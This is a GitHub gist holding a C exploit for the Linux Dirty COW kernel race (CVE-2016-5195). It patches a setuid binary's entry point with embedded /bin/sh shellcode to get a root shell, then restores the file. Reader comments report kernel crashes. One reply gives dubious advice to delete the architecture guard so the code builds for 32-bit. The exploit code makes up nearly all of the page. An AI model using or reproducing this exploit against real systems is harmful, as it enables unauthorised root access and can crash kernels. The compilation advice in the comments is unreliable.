Created
October 22, 2016 20:48
-
-
Save mak/c36136ccdbebf5ecfefd80c0f2ed6747 to your computer and use it in GitHub Desktop.
exploit for CVE-2016-5195 nothing fancy
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <stdio.h> | |
#include <sys/mman.h> | |
#include <fcntl.h> | |
#include <pthread.h> | |
#include <unistd.h> | |
#include <sys/stat.h> | |
#include <string.h> | |
#include <sys/uio.h> | |
#include <sys/wait.h> | |
void *map; | |
char *name; | |
int die = 0; | |
int success = 0; | |
long offset; | |
long page_x; | |
#ifdef __x86_64__ | |
#define SHELL_SIZE 40 | |
#define BASE_OFF 0x400000 | |
char orig_buf[SHELL_SIZE]; | |
char shelcode[SHELL_SIZE] = "H1\xffH\x89\xfeH\x89\xfajuX\x0f\x05VH\xbb/bin//shSH\x89\xe7H\x89\xf2j;X\x0f\x05\x90\x90\x90"; | |
#else | |
#error "unsuported" | |
#endif | |
char *write_ptr = shelcode; | |
char *orig_ptr = orig_buf; | |
void *trigger(void *arg) | |
{ | |
int i,c=0; | |
for(i=0;i<100000000 && !die ;i++) | |
{ | |
c+=madvise(map,offset+SHELL_SIZE,MADV_DONTNEED); | |
if(die) break; | |
} | |
// printf("madvise %d\n",c); | |
} | |
void *overwrite(void *arg) | |
{ | |
int f=open("/proc/self/mem",O_RDWR); | |
int i,c=0; | |
for(i=0;i<100000000 && !die;i++) { | |
lseek(f,(long)map+offset,SEEK_SET); | |
c+=write(f,write_ptr,SHELL_SIZE); | |
} | |
// printf("procselfmem %d\n", c); | |
} | |
void * checker(void *arg){ | |
int i,f; | |
char buf[SHELL_SIZE]; | |
for(i=0;i<100000000;i++) { | |
f=open(name,O_RDONLY); | |
lseek(f,offset+page_x,SEEK_SET); | |
memset(buf,0,SHELL_SIZE); | |
read(f,buf,SHELL_SIZE); | |
close(f); | |
if(memcmp(buf,orig_ptr,SHELL_SIZE)){ | |
die=1; | |
success=1; | |
break; | |
} | |
} | |
} | |
void worker(char *p0,char *p1){ | |
pthread_t pth1,pth2,pth3; | |
write_ptr = p0; | |
orig_ptr = p1; | |
int f=open(name,O_RDONLY); | |
map=mmap(NULL,0x1000,PROT_READ,MAP_PRIVATE,f,page_x); | |
pthread_create(&pth2,NULL,overwrite,NULL); | |
pthread_create(&pth1,NULL,trigger,NULL); | |
pthread_create(&pth3,NULL,checker,NULL); | |
pthread_join(pth1,NULL); | |
pthread_join(pth2,NULL); | |
pthread_join(pth3,NULL); | |
munmap(map,0x1000); | |
close(f); | |
} | |
int main(int argc,char *argv[]) | |
{ | |
int type = 0,f; | |
if (argc<2)return 1; | |
name = argv[1]; | |
f=open(name,O_RDONLY); | |
lseek(f,0x10,0); | |
read(f,&type,2); | |
lseek(f,0x18,0); | |
read(f,&offset,8); | |
if(type == 2) offset -= BASE_OFF; | |
lseek(f,offset,0); | |
read(f,orig_buf,sizeof(orig_buf)); | |
close(f); | |
page_x = offset & ~0xfff; | |
offset -= page_x; | |
// printf("%llx %llx\n",page_x,offset); | |
puts("[*] let make some c0ws dirty"); | |
worker(shelcode,orig_buf); | |
if(success) { | |
puts("[+] ok we have some dirty things going on"); | |
if(!fork()) { | |
execve(argv[1],0,0); | |
} | |
wait(NULL); | |
puts("[*] let's clean up..."); | |
die = 0; | |
worker(orig_buf,shelcode); | |
} | |
return 0; | |
} |
@unixfox: It seems that exploiting vuln this way makes kernel unstable. Related: dirtycow/dirtycow.github.io#25
I want to compile and use it on 32 bit system, so i did these steps:
1 - gcc -pthread naughtyc0w.c -o naughtyc0w1
ran the code on the test system, and got this error:
cannot execute binary file: Exec format error
So I ran gcc with -m32 for 32 bit
2 - gcc -pthread -m32 naughtyc0w.c -o c0w1
and got a lot of errors:
naughtyc0w.c:25:2: error: #error "unsuported"
#error "unsuported"
^~~~~
naughtyc0w.c:28:19: error: ‘shelcode’ undeclared here (not in a function)
char *write_ptr = shelcode;
^~~~~~~~
naughtyc0w.c:29:19: error: ‘orig_buf’ undeclared here (not in a function); did you mean ‘orig_ptr’?
char *orig_ptr = orig_buf;
^~~~~~~~
orig_ptr
naughtyc0w.c: In function ‘trigger’:
naughtyc0w.c:37:27: error: ‘SHELL_SIZE’ undeclared (first use in this function); did you mean ‘S_BLKSIZE’?
c+=madvise(map,offset+SHELL_SIZE,MADV_DONTNEED);
^~~~~~~~~~
S_BLKSIZE
naughtyc0w.c:37:27: note: each undeclared identifier is reported only once for each function it appears in
naughtyc0w.c: In function ‘overwrite’:
naughtyc0w.c:50:26: error: ‘SHELL_SIZE’ undeclared (first use in this function); did you mean ‘S_BLKSIZE’?
c+=write(f,write_ptr,SHELL_SIZE);
^~~~~~~~~~
S_BLKSIZE
naughtyc0w.c: In function ‘checker’:
naughtyc0w.c:58:12: error: ‘SHELL_SIZE’ undeclared (first use in this function); did you mean ‘S_BLKSIZE’?
char buf[SHELL_SIZE];
^~~~~~~~~~
S_BLKSIZE
naughtyc0w.c: In function ‘main’:
naughtyc0w.c:108:29: error: ‘BASE_OFF’ undeclared (first use in this function)
if(type == 2) offset -= BASE_OFF;
^~~~~~~~
Can you tell me where i did wrong?
Thank you so much @mak
Remove the following lines then compile again:
#ifdef x86_64
.
.
.
#else
#error "unsuported"
#endif
Remove onlynly those 4 lines, then compile with -pthread
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
@falk0069 It works but it leads to a kernel crash after a few minutes.